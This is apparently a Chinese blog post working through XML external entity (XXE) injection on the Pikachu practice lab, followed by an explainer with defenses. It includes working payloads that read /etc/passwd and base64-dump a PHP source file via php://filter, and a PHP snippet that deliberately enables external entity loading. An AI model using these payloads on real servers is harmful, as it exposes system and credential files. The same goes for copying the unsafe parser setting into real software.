当前位置: 首页 > news >正文

【Pikachu】XML外部实体注入实战

若天下不定,吾往;若世道不平,不回!

1.XXE漏洞实战

首先写入一个合法的xml文档

<?xml version = "1.0"?>
<!DOCTYPE gfzq [<!ENTITY gfzq "gfzq">
]>
<name>&gfzq;</name>

发现成功解析

在这里插入图片描述

这个xml文档payload中&gfzq;是用来将gfzq这个实体进行调用,gfzq实体成功在前端回显。

外部实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

外部实体payload

<?xml version = "1.0"?>
<!DOCTYPE gfzq [<!ENTITY gfzq SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&gfzq;</x>

成功读取到文件

在这里插入图片描述

<?xml version = "1.0"?>
<!DOCTYPE gfzq [<!ENTITY gfzq SYSTEM "file:///etc/passwd">
]>
<x>&gfzq;</x>

2.XXE漏洞学习

XML 外部实体注入漏洞(XXE - XML External Entity Injection) 是一种常见的安全漏洞,通常发生在服务器端解析用户提供的 XML 数据时。攻击者利用这个漏洞可以控制服务器执行不安全的操作,或者窃取敏感数据。该漏洞源自 XML 解析器在处理 XML 文档时,错误地允许外部实体的解析和访问。以下是对该漏洞的详细说明和扩展。

1. 什么是 XML 外部实体(XXE)注入漏洞?

XML 外部实体注入漏洞(XXE)是一种攻击方式,攻击者通过提交特殊构造的 XML 数据,使得服务器在解析 XML 数据时,解析器尝试访问外部实体(例如文件、URL 或其他资源)。如果服务器没有适当的安全控制,恶意用户可以借此漏洞执行多种攻击:

  • 信息泄露:攻击者可以通过解析器读取服务器上敏感的本地文件,例如 /etc/passwd/etc/shadow 或其他重要配置文件。
  • 拒绝服务攻击(DoS):攻击者通过构造恶意的 XML 数据,使得服务器不断加载外部实体,从而消耗资源导致服务不可用(如通过“千年蟲”攻击)。
  • 远程代码执行:如果 XML 外部实体指向一个恶意服务器,攻击者可以通过发送恶意请求,让服务器加载并执行远程代码。
  • 绕过身份验证:攻击者可以借此漏洞绕过某些身份验证机制,或者访问通常无法直接访问的资源。

2. XXE 漏洞的工作原理

XXE 漏洞的本质是 XML 解析器处理 XML 文件时错误地解析外部实体(Entities),这些外部实体的内容通常是一个 URI 或路径。XML 外部实体定义允许 XML 文档引用外部资源。一个典型的 XML 外部实体定义如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>

在上面的例子中,xxe 是一个外部实体,指向 /etc/passwd 文件。当服务器解析这个 XML 文件时,它会尝试加载并显示这个文件的内容,攻击者因此能够访问系统的敏感信息。

3. 如何触发 XXE 漏洞?

攻击者通常会通过以下步骤触发 XXE 漏洞:

  • 构造恶意的 XML 文件:攻击者构造一个包含外部实体引用的 XML 数据。例如,通过将恶意的 <!ENTITY> 标签嵌入到 XML 文档中,指向敏感的本地文件或外部服务器。
  • 提交给服务器解析:攻击者将该 XML 文件提交给服务器端,通常通过提交表单、API 请求或者文件上传等方式。
  • 服务器解析并执行外部实体:如果服务器未正确配置或未禁用外部实体解析,XML 解析器会处理这些外部实体,导致信息泄露或执行其他恶意行为。

4. 防御措施

为了防止 XXE 漏洞,许多现代编程语言和库已经采取了默认禁用外部实体解析的策略,防止恶意输入被解析。以下是一些常见的防护措施:

  • 禁用外部实体解析:在解析 XML 数据时,确保禁用外部实体的解析功能。许多 XML 解析库(如 PHP 的 libxml、Python 的 lxml 等)提供了禁用外部实体解析的选项。

    • 在 PHP 中,可以使用 libxml 来禁用外部实体解析:

      libxml_disable_entity_loader(true);
      
    • 在 Java 中,可以通过设置 XMLInputFactory 配置来禁用外部实体解析:

      XMLInputFactory factory = XMLInputFactory.newInstance();
      factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
      
  • 使用白名单:如果必须允许 XML 文档中引用外部实体,可以限制允许加载的外部实体的源,仅允许信任的来源。

  • 使用现代解析器:许多现代 XML 解析器(如 libxml2 2.9.0 及以上版本)默认禁用外部实体解析。确保使用最新版本的解析器,以利用这些内建的安全机制。

  • 输入验证与过滤:对用户输入的 XML 数据进行严格的验证和过滤,防止注入恶意的 XML 实体。

  • 安全配置:确保服务器上的文件系统权限正确配置,防止敏感文件暴露给不必要的进程和用户。

5. 案例:PHP 中的 XXE 漏洞模拟

为了演示 XXE 漏洞的触发,下面是一个在 PHP 环境中开启外部实体解析的示例:

libxml_disable_entity_loader(false); // 手动启用外部实体解析$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>
XML;$doc = new DOMDocument();
$doc->loadXML($xml);  // 解析XML,尝试加载外部实体
echo $doc->saveXML();  // 输出解析结果

在上面的示例中,libxml_disable_entity_loader(false) 手动启用了外部实体解析。攻击者通过传入类似的恶意 XML 数据,服务器会试图加载 /etc/passwd 文件并将其内容输出。

6. 总结

XXE(XML 外部实体注入)漏洞是一种常见且危险的攻击方式,攻击者可以利用它访问敏感信息、触发拒绝服务攻击,甚至执行远程代码。为了防止这种漏洞,开发者应始终确保:

  • 使用安全的 XML 解析器配置,禁用外部实体解析。
  • 定期更新库和框架,确保使用最新的安全版本。
  • 对外部输入进行严格的验证和过滤。

现代编程语言和库通常已提供针对 XXE 漏洞的防护措施,但开发者仍需警惕潜在的配置不当和漏洞风险。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

相关文章:

【Pikachu】XML外部实体注入实战

若天下不定&#xff0c;吾往&#xff1b;若世道不平&#xff0c;不回&#xff01; 1.XXE漏洞实战 首先写入一个合法的xml文档 <?xml version "1.0"?> <!DOCTYPE gfzq [<!ENTITY gfzq "gfzq"> ]> <name>&gfzq;</name&…...

vue2项目中在线预览csv文件

简介 希望在项目中&#xff0c;在线预览.csv文件&#xff0c;本以为插件很多&#xff0c;结果都只是支持excel&#xff08;.xls、.xlsx&#xff09;一到.csv就歇菜。。。 关于文件预览 vue-office&#xff1a;文档、 查看在线演示demo&#xff0c;支持docx、.xlsx、pdf、ppt…...

基于VUE实现语音通话:边录边转发送语言消息、 播放pcm 音频

文章目录 引言I 音频协议音频格式:音频协议:II 实现协议创建ws对象初始化边录边转发送语言消息 setupPCM按下通话按钮时开始讲话,松开后停止讲话播放pcm 音频III 第三库recorderplayer调试引言 需求:电台通讯网(电台远程遥控软件-超短波)该系统通过网络、超短波终端等无线…...

PMP--一、二、三模、冲刺--分类--变更--技巧--特点

文章目录 一模二模三模冲刺14.敏捷--不确定性、风险和生命周期选择14.敏捷--特点--敏捷范围灵活&#xff0c;敏捷拥抱变更14.敏捷--阶段关口--在不同的组织、行业或工作类型中&#xff0c;阶段关口可能被称为阶段审查、阶段门、关键决策点和阶段入口或阶段出口。组织可以通过这…...

CSS Grid 布局实战:从入门到精通

文章目录 前言一、CSS Grid 布局概述1.1 什么是 CSS Grid 布局&#xff1f;1.2 主要特点 二、基本概念2.1 网格容器2.2 网格线2.3 网格轨道2.4 网格区域 三、常用属性3.1 定义网格结构3.2 控制网格项的位置3.3 控制网格间距3.4 自动填充和重复 四、实践案例4.1 项目结构4.2 HTM…...

git创建远程仓库,以gitee码云为例GitHub同理

git远程Remote服务端仓库构建的视频教程在这 Git建立服务端Remote远程仓库&#xff0c;gitee码云例&#xff0c;Github_哔哩哔哩_bilibili 1、登gitee码云/Github 登录 - Gitee.com https://github.com/ &#xff08;没账号的注册一下就行&#xff09; 点击如下图位置的创…...

Java爬虫(HttpURLConnection)详解

文章目录 Java爬虫&#xff08;HttpURLConnection&#xff09;详解一、引言二、准备工作1、环境配置2、理解HttpURLConnection 三、发送GET请求1、创建URL对象2、打开连接3、设置请求方法4、连接并读取响应5、处理返回的数据 四、发送POST请求1、设置输出2、发送请求体3、读取响…...

基于STM32的智能停车管理系统设计

引言 随着城市汽车保有量的增加&#xff0c;停车难问题日益严重&#xff0c;传统停车管理方式效率低下&#xff0c;无法满足现代化需求。为了解决这一问题&#xff0c;本项目基于STM32微控制器设计了一种智能停车管理系统。系统能够通过传感器实时监测停车位的使用情况&#x…...

【循环神经网络】

循环神经网络&#xff08;Recurrent Neural Network, RNN&#xff09;是一类用于处理序列数据的神经网络&#xff0c;擅长处理具有时间依赖或顺序结构的数据。RNN通过循环连接的结构&#xff0c;使得当前时刻的输出可以受之前时刻信息的影响&#xff0c;因此被广泛应用于自然语…...

优选算法 - 4 ( 链表 哈希表 字符串 9000 字详解 )

一&#xff1a;链表 1.1 链表常用技巧和操作总结 1.2 两数相加 题目链接&#xff1a;两数相加 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val) { this.val val; }* …...

CTF-RE 从0到N: windows反调试-获取Process Environment Block(PEB)信息来检测调试

在Windows操作系统中&#xff0c;Process Environment Block (PEB&#xff0c;进程环境块) 是一个包含特定进程信息的数据结构。它可以被用于反调试中 如何获取PEB指针&#xff1f; 在Windows操作系统中&#xff0c;获取PEB指针的常见方法主要有以下几种。&#xff1a; 1. 使…...

STM32开发基础阶段复习

1.使用寄存器方式点亮LED灯的三个步骤是什么&#xff1f; 首先使能RCC_APB2ENR&#xff08;外设时钟使能寄存器&#xff09;对应的GPIO端口时钟,即给LED这个外设使能时钟。 配置对应GPIO端口&#xff0c;配置为通用推挽输出&#xff0c;输出速度可以选择最大。 将GPIO端口输…...

搜维尔科技:SenseGlove触觉反馈手套开箱+场景测试

搜维尔科技&#xff1a;SenseGlove触觉反馈手套开箱场景测试 SenseGlove触觉反馈手套开箱场景测试...

在k8s上部署Crunchy Postgres for Kubernetes

目录 一、前言二、安装Crunchy Postgres for Kubernetes三、部署一个简单的postgres集群四、增加pgbouncer五、数据备份六、备份恢复七、postgres配置参数七、数据导入 一、前言 Crunchy Postgres可以帮助我们在k8s上快速部署一个高可用、具有自动备份和恢复功能的postgres集群…...

大模型(LLMs)进阶篇

大模型&#xff08;LLMs&#xff09;进阶篇 一、什么是生成式大模型&#xff1f; 生成式大模型&#xff08;一般简称大模型LLMs&#xff09;是指能用于创作新内容&#xff0c;例如文本、图片、音频以及视频的一类深度学习模型。相比普通深度学习模型&#xff0c;主要有两点不…...

近几年新笔记本重装系统方法及一些注意事项

新笔记本怎么重装系统&#xff1f; 近几年的新笔记本默认开启了raid on模式或vmd选项&#xff0c;安装过程中会遇到问题&#xff0c;新笔记本电脑重装自带的系统建议采用u盘方式安装&#xff0c;默认新笔记本有bitlocker加密机制&#xff0c;如果采用一键重装系统或硬盘方式安装…...

小程序19-微信小程序的样式和组件介绍

在小程序中不能使用 HTML 标签&#xff0c;也就没有 DOM 和 BOM&#xff0c;CSS 也仅支持部分选择器 小程序提供了 WXML 进行页面结构的编写&#xff0c;WXSS 进行页面的样式编写 WXML 提供了 view、text、image、navigator等标签构建页面结构&#xff0c;小程序中标签称为组件…...

Chrome 浏览器开启打印模式

打开开发者工具ctrl shift p输入print 找到 Emulate CSS print media type...

Git回到某个分支的某次提交

1.切换到需要操作的分支&#xff08;<branch-name>是分支名称&#xff09;。 命令如下&#xff1a; git checkout <branch-name> 2.获取代码的提交记录 。命令如下&#xff1a; git log 按q退出当前命令对话。 获取到某次提交或者合并的hash值&#xff08;下文…...

[前端面试]javascript

js数据类型 简单数据类型 null undefined string number boolean bigint 任意精度的大整数 symbol 创建唯一且不变的值&#xff0c;常用来表示对象属性的唯一标识 复杂数据类型 object&#xff0c;数组&#xff0c;函数,正则,日期等 区别 存储区别 简单数据类型因为其大小固定…...

对象的初步认识

#对象可组织数据&#xff08;如统计数据的表格&#xff09; 下以表格为例 1.设计一个表格:(None为初始值设定&#xff0c;表示无) class a; ##1None ##2None 2.创建一个表格 变量a 3.对对象的属性进行赋值 变量.##1"##" 变量.##2"##" 4.查询对象中…...

layui 输入框带清空图标、分词搜索、关键词高亮

https://andi.cn/page/621858.html...

Vue 3 + TypeScript: 类型安全的前端开发实践

引言 在现代前端开发中&#xff0c;TypeScript 已经成为提升代码质量和开发效率的重要工具。将 Vue 3 与 TypeScript 结合使用&#xff0c;能够为我们的项目带来更好的类型安全性和开发体验。 1. 项目配置 1.1 创建项目 使用 Vue CLI 创建支持 TypeScript 的 Vue 3 项目&am…...

Python爬虫知识体系-----requests-----持续更新

数据科学、数据分析、人工智能必备知识汇总-----Python爬虫-----持续更新&#xff1a;https://blog.csdn.net/grd_java/article/details/140574349 文章目录 一、安装和基本使用1. 安装2. 基本使用3. response常用属性 二、get请求三、post请求四、代理 一、安装和基本使用 1.…...

Swift的可选绑定(Optional binding)

在Swift中&#xff0c;有一种变量称为可选变量&#xff08;Optional&#xff09;&#xff0c;具体说明见Swift初步入门。这种变量的值可以存在也可以为空&#xff08;nil&#xff09;。在Swift中&#xff0c;可以通过将if语句和赋值语句结合&#xff0c;有条件地展开&#xff0…...

硬石电机学习2024116

F4 概况 共模抑制线圈作用是滤波 LD3.3是将5v转为芯片用的3.3V CH340用于板子和电脑通讯 光耦隔离保护主控 16M的外部flash 1M的芯片内部的flash 10kHZ高速的光耦隔离&#xff0c;1M的低俗光耦隔离 F4 stm32概况 stm8和51都是一次可以运算处理8位的 32表示一次处理32位…...

行业类别-金融科技-子类别区块链技术-细分类别智能合约-应用场景供应链金融课题

1.大纲分析 针对题目“行业类别-金融科技-子类别区块链技术-细分类别智能合约-应用场景供应链金融课题”的大纲分析,以下是一个详细的结构: 一、引言 简述金融科技的发展背景与重要性引出区块链技术在金融科技中的应用强调智能合约作为区块链技术的重要细分类别提出供应链金…...

ElementPlus el-upload上传组件on-change只触发一次

ElementPlus el-upload上传组件on-change只触发一次 主要运用了:on-exceed方法 废话不多说&#xff0c;直接上代码 <el-uploadclass"avatar-uploader"action"":on-change"getFilesj":limit"1":auto-upload"false"accep…...

论文阅读:Uni-ISP Unifying the Learning of ISPs from Multiple Cameras

这是 ECCV 2024 的一篇文章&#xff0c;文章作者想建立一个统一的 ISP 模型&#xff0c;以实现在不同手机之间的自由切换。文章作者是香港中文大学的 xue tianfan 和 Gu jinwei 老师。 Abstract 现代端到端图像信号处理器&#xff08;ISPs&#xff09;能够学习从 RAW/XYZ 数据…...

AntD表单自定义组件

前言 表单可以说是前端最常见的一种组件&#xff0c;特别是在进行搜索的时候使用的最频繁&#xff0c;自定义表单组件&#xff0c;丰富了搜索框的类型&#xff0c;使数据展现的更灵活 内容讲解 1、官方介绍 AntD-Formhttps://ant.design/components/form-cn#form-demo-cust…...